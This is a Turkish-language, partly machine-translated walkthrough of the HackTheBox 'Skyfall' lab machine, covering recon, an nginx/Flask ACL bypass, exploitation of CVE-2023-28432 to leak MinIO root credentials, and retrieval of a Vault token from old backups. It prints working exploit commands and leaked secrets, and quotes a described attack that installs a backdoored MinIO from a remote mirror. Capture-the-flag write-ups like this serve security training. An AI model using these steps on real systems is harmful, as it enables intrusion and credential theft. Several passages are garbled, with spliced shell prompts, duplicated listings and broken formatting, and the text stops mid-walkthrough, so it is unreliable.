Skyfall Hakkında
Skyfall, `MinIO` adlı bir S3 nesne depolama hizmetinin desteklediği yeni beta bulut depolama uygulamasını piyasaya süren bir şirketin yer aldığı bir Insane Linux makinesidir. Web uygulaması Flask ile Python'da yazılmıştır. Yapılandırmasına özgü bir `Nginx` ACL ve Flask'a özgü baypasa karşı savunmasız olan sitenin kısıtlı bir bölümüne sahiptir. Kısıtlı bölüm, dahili ana bilgisayar adlarını ve bilgi ifşası için bilinen bir güvenlik açığı olan `MinIO` sürümünü ifşa eden bir `MinIO` kümesi için Prometheus ölçümlerini içerir `[ CVE-2023-28432 ]. Bu bilgi ifşası, barındırdığı S3 kovalarına erişime izin veren `MinIO` kök kimlik bilgilerini sızdırır. Bu kimlik bilgileriyle `MinIO istemcisi` kullanılarak, bir kullanıcının kovasındaki bir dosya, sürüm geçmişine sahip bir ana dizin yedeği içerir. Bu sürümlerden biri dahili bir `Hashicorp Vault` örneği için bir `Vault` belirteci içerir ve `Vault` politikalarını bu belirteçle numaralandırarak SSH OTP için yapılandırıldığı belirtilir. Oyuncunun SSH erişimi elde etmek için Vault'tan bir OTP istemesi gerekir. Kullanıcının, `Hashicorp Vault`'u açığa çıkaracak ikilinin yürütülmesine izin veren bir `sudo` kuralı vardır, böylece kullanıcı belirli belirteçlerine ve sırlarına erişebilir. `sudo` kuralı, bu ikiliyi `root`'a ait bir `debug.log` dosyası üreten bir bayrakla çalıştırmamızı sağlar. Oyuncunun ``sshfs`` kullanarak bir `Fuse` bağlantısını kullanarak Linux izinlerini atlatmak için bu dosyaları dışarı aktarması gerekir. Bu dosya `Hashicorp Vault` örneği için bir kök belirteci ortaya çıkarır ve SSH üzerinden `root` olarak oturum açmak için bir OTP üretmek için kullanılabilir.
Kutu Bilgisi
İsim | Skyfall - HackTheBox'ta Oyna |
---|---|
Yayın tarihi | 03 Şub 2024 |
Emeklilik Tarihi | Ağustos 2024 |
İşletim Sistemi | Linux |
Temel Puanlar | Deli [50] |
Derecelendirilmiş Zorluk | |
Radar Grafiği |
İlgili Konular Web Uygulaması - Güvenlik Açığı Değerlendirmesi - İlgi Alanı Güvenlik Araçları - Özel Uygulamalar - Ortak Uygulamalar Güvenlik Açıkları - Anonim/Misafir Erişimi - Açık Metin Kimlik Bilgileri - Bilgi Açıklaması Diller - Vuruş |
---|
Keşif
nmap
nmap
iki açık TCP portu bulur, SSH (22) ve HTTP (80):aurora@feniks$ nmap -p 22,80 -sCV 10.10.11.254
Starting Nmap 7.80 ( https://nmap.org ) at 2024-08-23 16:55 EDT
Nmap scan report for 10.10.11.254
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.79 secondsBased on the [OpenSSH](https://packages.ubuntu.com/search?keywords=openssh-server) version, the host is likely running Ubuntu 22.04 jammy.
Web Sitesi - TCP 80
Sayfadaki bağlantıların çoğu sayfadaki diğer yerlere gidiyor. Ortada 'a giden bir tane var demo.skyfall.htb
. Ayrıca bazı isimler / e-postalar da var:
- James Bond (CEO) -
jbond@skyfall.htb
- Aurora Skyy (Baş Geliştirici) -
askyy@skyfall.htb
- Bill Tanner (CTO) -
btanner@skyfall.htb
contact@skyfall.com
Alt tarafta bize ulaşın formu var ama aslında hiçbir işe yaramıyor gibi görünüyor.
Teknoloji Yığını
HTTP yanıt başlıkları nginx sürümünün ötesinde pek fazla bilgi vermiyor:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 23 Aug 2024 20:58:47 GMT
Content-Type: text/html
Last-Modified: Thu, 09 Nov 2023 20:44:23 GMT
Connection: keep-alive
ETag: W/"654d44a7-5097"
Content-Length: 20631
Ana sayfa index.html
statik bir site olduğunu öne sürerek yükleniyor. 404 sayfası varsayılan nginx sayfası. Nginx 1.18.0 olduğunu belirteyim.
Dizin Kaba Kuvvet
feroxbuster
Siteye karşı yarışacağım ve şunları ekleyeceğim -x html
:aurora@feniks$ feroxbuster -u http://10.10.11.254 -x html
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.4
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.254
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.4
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [html]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 501l 1612w 20631c http://10.10.11.254/
301 GET 7l 12w 178c http://10.10.11.254/assets => http://10.10.11.254/assets/
301 GET 7l 12w 178c http://10.10.11.254/assets/js => http://10.10.11.254/assets/js/
301 GET 7l 12w 178c http://10.10.11.254/assets/css => http://10.10.11.254/assets/css/
301 GET 7l 12w 178c http://10.10.11.254/assets/img => http://10.10.11.254/assets/img/
200 GET 501l 1612w 20631c http://10.10.11.254/index.html
301 GET 7l 12w 178c http://10.10.11.254/assets/img/clients => http://10.10.11.254/assets/img/clients/
301 GET 7l 12w 178c http://10.10.11.254/assets/img/portfolio => http://10.10.11.254/assets/img/portfolio/
301 GET 7l 12w 178c http://10.10.11.254/assets/img/team => http://10.10.11.254/assets/img/team/
301 GET 7l 12w 178c http://10.10.11.254/assets/vendor => http://10.10.11.254/assets/vendor/
301 GET 7l 12w 178c http://10.10.11.254/assets/vendor/aos => http://10.10.11.254/assets/vendor/aos/
[####################] - 3m 300000/300000 0s found:11 errors:0
[####################] - 3m 300000/300000 0s found:11 errors:0
[####################] - 2m 30000/30000 291/s http://10.10.11.254/
[####################] - 2m 30000/30000 292/s http://10.10.11.254/assets/
[####################] - 2m 30000/30000 292/s http://10.10.11.254/assets/js/
[####################] - 2m 30000/30000 292/s http://10.10.11.254/assets/css/
[####################] - 2m 30000/30000 292/s http://10.10.11.254/assets/img/
[####################] - 2m 30000/30000 292/s http://10.10.11.254/assets/img/clients/
[####################] - 2m 30000/30000 292/s http://10.10.11.254/assets/img/portfolio/
[####################] - 2m 30000/30000 292/s http://10.10.11.254/assets/img/team/
[####################] - 2m 30000/30000 292/s http://10.10.11.254/assets/vendor/
[####################] - 2m 30000/30000 291/s http://10.10.11.254/assets/vendor/aos/
İlginç bir şey yok.
alan adlarının kullanımı göz önüne alındığında , diğer alt alan adlarının farklı tepki verip vermediğini görmek için kaba kuvvet uygulayacağım :
skyfall.htb
demo.skyfall.htb
ffuf
aurora@feniks$ ffuf -u http://10.10.11.254 -H "Host: FUZZ.skyfall.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.254
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.skyfall.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
demo [Status: 302, Size: 217, Words: 23, Lines: 1, Duration: 151ms]
:: Progress: [19966/19966] :: Job [1/1] :: 458 req/sec :: Duration: [0:00:43] :: Errors: 0 ::Only `demo`. I’ll add both to my `/etc/hosts` file:
10.10.11.254 skyfall.htb demo.skyfall.htb
Sitesi
Site bir giriş sayfası sunuyor:
Bu sayfada birçok özellik var. Yukarıdaki Pano sayfası ( /index
) yararlı hiçbir şeye sahip değil. "Dosyalar" sayfası ( /files
) tek bir dosyaya ve daha fazlasını yükleme seçeneğine sahip:
URL Getirme sayfası ( /fetch
), bir URL'den dosya yüklemek için bir form sunar: Eğer ona IP adresimin URL'sini verirsem, ona ulaşacaktır:
10.10.11.254 - - [23/Aug/2024 17:26:37] "GET /test.png HTTP/1.1" 404 -
Eğer var olan bir dosyaya URL verirsem, o dosya Dosyalar sayfasında gösterilir. MinIO Metrikleri sayfası ( /metrics
) nginx 403 Yasak döndürür. Geri Bildirim sayfası ( /feedback
) bir form sunar:
Gönderme, içeriği bir POST'ta 'e gönderir /feedback
, ancak herhangi bir şey olacağına dair bir gösterge yoktur. Yükseltme sayfasının ( /escalate
) başka bir biçimi vardır:
Bunu gönderdiğinizde, bakmalarının en az 24 saat süreceği mesajını görürsünüz:
CTF'de bunu kovalamaya değmez gibi görünüyor.
Teknoloji Yığını
Sitenin Python web framework Flask'ta çalıştığını belirten bir alt bilgisi var: HTTP başlıkları başka bir şey göstermiyor. Özel bir 404 sayfası var: nc
URL Getirme sayfasından gelen web isteklerinden birini yakalamak için Python İstekleri'ni kullanırsam, bunun Flask olduğu fikrine uyuyor:
GET /htb.png HTTP/1.1
Host: 10.10.14.6
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
MinIO referansı sistemin depolama için MinIO kullandığını öne sürüyor . MinIO, S3 ile uyumlu bir kurumsal depolama nesne deposudur.
Dizin Kaba Kuvvet
feroxbuster
daha önce karşılaşmadığım bir şey bulamadım:aurora@feniks$ feroxbuster -u http://demo.skyfall.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.4
───────────────────────────┬──────────────────────
🎯 Target Url │ http://demo.skyfall.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.4
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 1l 35w 352c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 1l 23w 217c http://demo.skyfall.htb/ => http://demo.skyfall.htb/login
302 GET 1l 23w 217c http://demo.skyfall.htb/logout => http://demo.skyfall.htb/login
200 GET 9l 234w 3674c http://demo.skyfall.htb/login
403 GET 7l 10w 162c http://demo.skyfall.htb/metrics
[####################] - 4m 30000/30000 0s found:4 errors:0
[####################] - 4m 30000/30000 129/s http://demo.skyfall.htb/
Kabuk askyy
Ayrıştırma Sorununu Belirle Block on ve on
arasındaki fark üzerinde düşünmeye değer:
/beta
/metrics
Alan | HTTP Cevap Kodu | İçerik |
---|---|---|
/beta | 200 Tamam | Özel Kısıtlı Sayfa |
/metrics | 403 Yasak | nginx 403 Sayfası |
Bunu düşünmek ve araştırmak beni Rafa'nın Blog'undan güzel bir yazıya götürüyor, HTTP Ayrıştırıcı Tutarsızlıklarını Kullanmak . Şuna benzeyen bir nginx yapılandırmasından bahsediyor:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Ve farklı uygulamaların (Flask dahil) URL'leri ayrıştırmada nasıl farklılaştığına bakar. Sorun, nginx ve Flask'ın URL'leri nasıl normalleştirdiğidir. nginx'in URL'den çıkarmadığı ancak Flask'ın çıkardığı karakterler vardır, örneğin \x85
. Yukarıdaki örneği gönderirsem , nginx bunun veya ile /admin\x85
eşleşmediğini görür ve isteği Flask'a iletir. Ancak Flask ve öğesini çıkarır ve ardından , engellenmemiş olarak çözer ! Nginx'in farklı sürümlerini ve birçok farklı uygulama sunucusu için hangi karakterlerin bir baypas oluşturduğunu gösteren güzel özet tablolar vardır. Flask şu şekildedir:/admin
/admin/
\x85
/admin
Bunu biraz daha derinlemesine incelemek gerekirse, URL'yi flask
çağırmak ve bu StackOverflow cevabının da güzel bir şekilde açıkladığı gibi, bu varsayılan olarak 1.20.2 sürümünden ve öncesinden karakterlerin tam listesini kaldırır.strip
Baypas
Daha sonra “Hex” sekmesine geçin ve “58”den “85”e kadar düzenleyin:
Ne yazık ki işe yaramıyor. Bunun sebebinin yığının nginx –> Flask değil, nginx –> gunicorn –> Flask olması olduğunu düşünüyorum ve gunicorn ek normalizasyon gerçekleştiriyor olabilir. Listedeki diğerlerini deneyeceğim ve 0x0c
işe 0x0b
yarayacak:
0x09
(sekme) ve 0x0a
(yeni satır) ikisi de burada iyi çalışıyor. Burada bir ton veri var, ancak ilginç olan ikisi minio_software_version_info
"sürüm: 2023-03-13T19:46:17Z" ve diğeri minio_endpoint_url
. http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster
Bunu dosyama ekleyeceğim hosts
:10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb
URL'yi ziyaret ettiğinizde MinIO kümesi hakkında bilgi edinebilirsiniz:
Alternatif Baypas
/metrics%0a
de işe yarıyor. Flask'ın (veya sunucudaki başka bir şeyin) neden kod çözerken %0a
diğerlerinin çözmediğini anlamak benim için çok da açık değil %0C
, ancak çözüyor:CVE Analizi
CVE-2023-28432 uyarısında şu ifadeler yer alıyor:
Bir küme dağıtımında MinIO,
MINIO_SECRET_KEY
ve dahil olmak üzere tüm ortam değişkenlerini döndürerekMINIO_ROOT_PASSWORD
bilgi ifşasına neden olur.
Bu yeterince basit görünüyor. Tüm ortam değişkenlerini boşaltın. Ve hiçbir geçici çözüm olmadığını söylüyor. CVE-2023-28434 için tavsiye şöyle diyor:
Bir saldırgan, meta veri kovası adı denetimini atlatmak ve işleme sırasında bir nesneyi herhangi bir kovaya koymak için hazırlanmış istekleri kullanabilir
PostPolicyBucket
. Bu saldırıyı gerçekleştirmek için saldırganınarn:aws:s3:::*
izinli kimlik bilgilerine ve etkinleştirilmiş Konsol API erişimine ihtiyacı vardır.
Bu, .MinIO gönderisinin Security Joes'un Buluttaki Yeni Saldırı Vektörü: Nesne Depolama Hizmetlerini istismar ederken yakalanan saldırganlarMINIO_BROWSER=off
başlıklı gönderisine bağlantı vermesiyle önlenebilir . Bu gönderide , gördükleri gerçek dünya saldırıları hakkında ayrıntılı bilgi veriliyor.
Güvenlik açığı olan bir MinIO örneğinde kod yürütmeyi başarmak için gereken tüm adımlar aşağıda açıklanmıştır: 1. Yönetici hesabının kimlik bilgilerini açığa çıkarmak için /minio/bootstrap/v1/verify uç noktasına POST isteği. 2. Saldırgan, 1. Adımda alınan kimlik bilgilerini kullanarak güvenlik açığı olan örnekle etkileşime girecek şekilde bir MinIO istemcisi yapılandırır. Bunun için aşağıdaki komut satırları gereklidir:
mc alias set [ALIAS] [URL_TARGET_MINIO] [ACCESS_KEY] [SECRET_KEY] mc alias list
3. Saldırganlar, uzak bir sunucuda barındırılan kötü amaçlı bir yükü işaret ederek tehlikeye atılmış MinIO örneğinde güncelleme sürecini tetikler. Bunun için aşağıdaki komut yürütülür.
mc admin update [ALIAS] [MIRROR_URL] --yes
4. Saldırganın ana bilgisayarda komutlar yürütmesine olanak tanıyan küresel bir arka kapı içeren “Evil” MinIO kuruldu.
1. Adım CVE-2023-28432'dir.
CVE-2023-28432
/minio/bootstrap/v1/verify
örneğe bir POST isteği göndermek:aurora@feniks$ curl -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify
{"MinioEndpoints":[{"Legacy":false,"SetCount":1,"DrivesPerSet":4,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://minio-node{1...2}/data{1...2}","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_BROWSER":"off","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_PROMETHEUS_AUTH_TYPE":"public","MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZaIww","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key","MINIO_UPDATE":"off","MINIO_UPDATE_MINISIGN_PUBKEY":"RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"}}
aurora@feniks$ curl -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify -s | jq .
{
"MinioEndpoints": [
{
"Legacy": false,
"SetCount": 1,
"DrivesPerSet": 4,
"Endpoints": [
{
"Scheme": "http",
"Opaque": "",
"User": null,
"Host": "minio-node1:9000",
"Path": "/data1",
"RawPath": "",
"OmitHost": false,
"ForceQuery": false,
"RawQuery": "",
"Fragment": "",
"RawFragment": "",
"IsLocal": false
},
{
"Scheme": "http",
"Opaque": "",
"User": null,
"Host": "minio-node2:9000",
"Path": "/data1",
"RawPath": "",
"OmitHost": false,
"ForceQuery": false,
"RawQuery": "",
"Fragment": "",
"RawFragment": "",
"IsLocal": true
},
{
"Scheme": "http",
"Opaque": "",
"User": null,
"Host": "minio-node1:9000",
"Path": "/data2",
"RawPath": "",
"OmitHost": false,
"ForceQuery": false,
"RawQuery": "",
"Fragment": "",
"RawFragment": "",
"IsLocal": false
},
{
"Scheme": "http",
"Opaque": "",
"User": null,
"Host": "minio-node2:9000",
"Path": "/data2",
"RawPath": "",
"OmitHost": false,
"ForceQuery": false,
"RawQuery": "",
"Fragment": "",
"RawFragment": "",
"IsLocal": true
}
],
"CmdLine": "http://minio-node{1...2}/data{1...2}",
"Platform": "OS: linux | Arch: amd64"
}
],
"MinioEnv": {
"MINIO_ACCESS_KEY_FILE": "access_key",
"MINIO_BROWSER": "off",
"MINIO_CONFIG_ENV_FILE": "config.env",
"MINIO_KMS_SECRET_KEY_FILE": "kms_master_key",
"MINIO_PROMETHEUS_AUTH_TYPE": "public",
"MINIO_ROOT_PASSWORD": "GkpjkmiVmpFuL2d3oRx0",
"MINIO_ROOT_PASSWORD_FILE": "secret_key",
"MINIO_ROOT_USER": "5GrE1B2YGGyZzNHZaIww",
"MINIO_ROOT_USER_FILE": "access_key",
"MINIO_SECRET_KEY_FILE": "secret_key",
"MINIO_UPDATE": "off",
"MINIO_UPDATE_MINISIGN_PUBKEY": "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"
}
}
MINIO_BROWSER=off
Önemli olan root kullanıcısı 5GrE1B2YGGyZzNHZaIww ve root şifresi “GkpjkmiVmpFuL2d3oRx0”. Ayrıca bir sonraki exploiti engelleyen 'yi de belirteyim .
MinIO İstemcisini Kur
mc
talimatları kullanarak indireceğim . Sonra bağlanmak için gerekli anahtarlarla bir takma ad oluşturuyorum:aurora@feniks$ mc alias set skyfall http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
Added `skyfall` successfully.
Daha sonra şu komutla bağlantıyı test etmemiz gerekiyor:
aurora@feniks$ mc admin info skyfall
mc: <ERROR> Unable to display service info, server is too old
Şunu çalıştırabilirim ls
:
aurora@feniks$ mc ls skyfall
[2023-11-07 23:59:15 EST] 0B askyy/
[2023-11-07 23:58:56 EST] 0B btanner/
[2023-11-07 23:58:33 EST] 0B emoneypenny/
[2023-11-07 23:58:22 EST] 0B gmallory/
[2023-11-07 19:08:01 EST] 0B guest/
[2023-11-07 23:59:05 EST] 0B jbond/
[2023-11-07 23:58:10 EST] 0B omansfield/
[2023-11-07 23:58:45 EST] 0B rsilva/#### MinIO Enumeration
ls -r
kümedeki tüm dosyaları yinelemeli olarak gösterecektir:
aurora@feniks$ mc ls -r skyfall
[2023-11-08 00:35:28 EST] 48KiB STANDARD askyy/Welcome.pdf
[2023-11-09 16:37:25 EST] 2.5KiB STANDARD askyy/home_backup.tar.gz
[2023-11-08 00:35:36 EST] 48KiB STANDARD btanner/Welcome.pdf
[2023-11-08 00:35:56 EST] 48KiB STANDARD emoneypenny/Welcome.pdf
[2023-11-08 00:36:02 EST] 48KiB STANDARD gmallory/Welcome.pdf
[2023-11-07 19:08:05 EST] 48KiB STANDARD guest/Welcome.pdf
[2024-08-23 17:27:13 EDT] 4.4KiB STANDARD guest/htb.png
[2023-11-08 00:35:45 EST] 48KiB STANDARD jbond/Welcome.pdf
[2023-11-08 00:36:09 EST] 48KiB STANDARD omansfield/Welcome.pdf
[2023-11-08 00:35:51 EST] 48KiB STANDARD rsilva/Welcome.pdfBesides the `Welcome.pdf` files that are all the same size, there’s two files (one of which I uploaded, `htb.png`). askyy is the lead developer. I’ll grab their `home_backup.tar.gz`:
aurora@feniks$ mc cp skyfall/askyy/home_backup.tar.gz .
...fall.htb/askyy/home_backup.tar.gz: 2.48 KiB / 2.48 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 6.80 KiB/s 0s
Bunu çıkarıp bir bakayım:
aurora@feniks$ tar xf home_backup.tar.gz -C home_backu
aurora@fenikscky$ find home_backup/ -type f
home_backup/.ssh/authorized_keys
home_backup/.cache/motd.legal-displayed
home_backup/.bash_logout
home_backup/.profile
home_backup/.bashrc
home_backup/.sudo_as_admin_successful
home_backup/.bash_historyThere’s nothing interesting there.
MinIO'ya geri dönersem önceki sürümlere bakabilirim:
aurora@feniks$ mc ls -r --versions skyfall
[2023-11-07 23:59:15 EST] 0B askyy/
[2023-11-08 00:35:28 EST] 48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf
[2023-11-09 16:37:25 EST] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz
[2023-11-09 16:37:09 EST] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz
[2023-11-09 16:36:30 EST] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz
[2023-11-07 23:58:56 EST] 0B btanner/
[2023-11-08 00:35:36 EST] 48KiB STANDARD null v1 PUT btanner/Welcome.pdf
[2023-11-07 23:58:33 EST] 0B emoneypenny/
[2023-11-08 00:35:56 EST] 48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf
[2023-11-07 23:58:22 EST] 0B gmallory/
[2023-11-08 00:36:02 EST] 48KiB STANDARD null v1 PUT gmallory/Welcome.pdf
[2023-11-07 19:08:01 EST] 0B guest/
[2023-11-07 19:08:05 EST] 48KiB STANDARD null v1 PUT guest/Welcome.pdf
[2024-08-23 17:27:13 EDT] 4.4KiB STANDARD null v1 PUT guest/htb.png
[2023-11-07 23:59:05 EST] 0B jbond/
[2023-11-08 00:35:45 EST] 48KiB STANDARD null v1 PUT jbond/Welcome.pdf
[2023-11-07 23:58:10 EST] 0B omansfield/
[2023-11-08 00:36:09 EST] 48KiB STANDARD null v1 PUT omansfield/Welcome.pdf
[2023-11-07 23:58:45 EST] 0B rsilva/
[2023-11-08 00:35:51 EST] 48KiB STANDARD null v1 PUT rsilva/Welcome.pdfThe home backup files all are different size. I’ve already got v3. I’ll look at v2 and v1:
aurora@feniks$ mc cp --version-id 2b75346d-2a47-4203-ab09-3c9f878466b8 skyfall/askyy/home_backup.tar.gz ./home_backup_v2.tar.gz
...fall.htb/askyy/home_backup.tar.gz: 2.64 KiB / 2.64 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 7.27 KiB/s aurora@fenikscky$ mc cp --version-id 3c498578-8dfe-43b7-b679-32a3fe42018f skyfall/askyy/home_backup.tar.gz ./home_backup_v1.tar.gz
...fall.htb/askyy/home_backup.tar.gz: 1.18 MiB / 1.18 MiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 1.21 MiBaurora@feniks@hacky$ mkdir home_baurora@feniksxdf@hacky$ mkdir homaurora@feniks1
aurora@feniks$ tar -xf home_backup_v2.tar.gz -C aurora@feniksp_v2
aurora@feniks$ tar -xf home_backup_v1.tar.gz -C home_backup_v1
Sürüm 1'de büyük bir .bash_history
dosya ve bir terraform-generator
dizin var:
aurora@feniks$ ls -la home_backup_v1
total 48
drwxrwx--- 1 root vboxsf 4096 Nov 9 2023 .
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:31 ..
-rwxrwx--- 1 root vboxsf 10296 Nov 8 2023 .bash_history
-rwxrwx--- 1 root vboxsf 220 Jan 6 2022 .bash_logout
-rwxrwx--- 1 root vboxsf 3771 Jan 6 2022 .bashrc
drwxrwx--- 1 root vboxsf 4096 Oct 9 2023 .cache
-rwxrwx--- 1 root vboxsf 807 Jan 6 2022 .profile
drwxrwx--- 1 root vboxsf 4096 Nov 9 2023 .ssh
-rwxrwx--- 1 root vboxsf 0 Oct 9 2023 .sudo_as_admin_successful
drwxrwx--- 1 root vboxsf 4096 Nov 9 2023 terraform-generator
-rwxrwx--- 1 root vboxsf 1 Nov 9 20```
aurora@feniks$ ls -la home_backup
total 32
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:15 .
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:31 ..
-rwxrwx--- 1 root vboxsf 1 Nov 9 2023 .bash_history
-rwxrwx--- 1 root vboxsf 220 Jan 6 2022 .bash_logout
-rwxrwx--- 1 root vboxsf 3771 Nov 9 2023 .bashrc
drwxrwx--- 1 root vboxsf 4096 Oct 9 2023 .cache
-rwxrwx--- 1 root vboxsf 807 Jan 6 2022 .profile
drwxrwx--- 1 root vboxsf 4096 Nov 9 2023 .ssh
-rwxrwx--- 1 root vboxsf 0 Oct 9 2023 .sudo_as_admin_successful
Bunların ikisinde de ilginç bir şey yok. v2'de aynı dosyalar var ve tek fark .bashrc
dosyanın biraz daha büyük olması:
aurora@feniks$ ls -la home_backup_v2
total 32
drwxrwx--- 1 root vboxsf 4096 Nov 9 2023 .
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:38 ..
-rwxrwx--- 1 root vboxsf 1 Nov 9 2023 .bash_history
-rwxrwx--- 1 root vboxsf 220 Jan 6 2022 .bash_logout
-rwxrwx--- 1 root vboxsf 3953 Nov 9 2023 .bashrc
drwxrwx--- 1 root vboxsf 4096 Oct 9 2023 .cache
-rwxrwx--- 1 root vboxsf 807 Jan 6 2022 .profile
drwxrwx--- 1 root vboxsf 4096 Nov 9 2023 .ssh
-rwxrwx--- 1 root vboxsf 0 Oct 9 2023 .sudo_as_admin_s```
aurora@feniks$ ls -la home_backup
total 32
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:15 .
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:38 ..
-rwxrwx--- 1 root vboxsf 1 Nov 9 2023 .bash_history
-rwxrwx--- 1 root vboxsf 220 Jan 6 2022 .bash_logout
-rwxrwx--- 1 root vboxsf 3771 Nov 9 2023 .bashrc
drwxrwx--- 1 root vboxsf 4096 Oct 9 2023 .cache
-rwxrwx--- 1 root vboxsf 807 Jan 6 2022 .profile
drwxrwx--- 1 root vboxsf 4096 Nov 9 2023 .ssh
-rwxrwx--- 1 root vboxsf 0 Oct 9 2023 .sudo_as_admin_successfulThe difference is interesting:
aurora@feniks$ diff home_backup_v2/.bashrc home_backup/.bashrc
43,45d42
< export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
< export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
<
10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb prd23-vault-internal.skyfall.htb
SSH
Kasa Kurulumu
vault
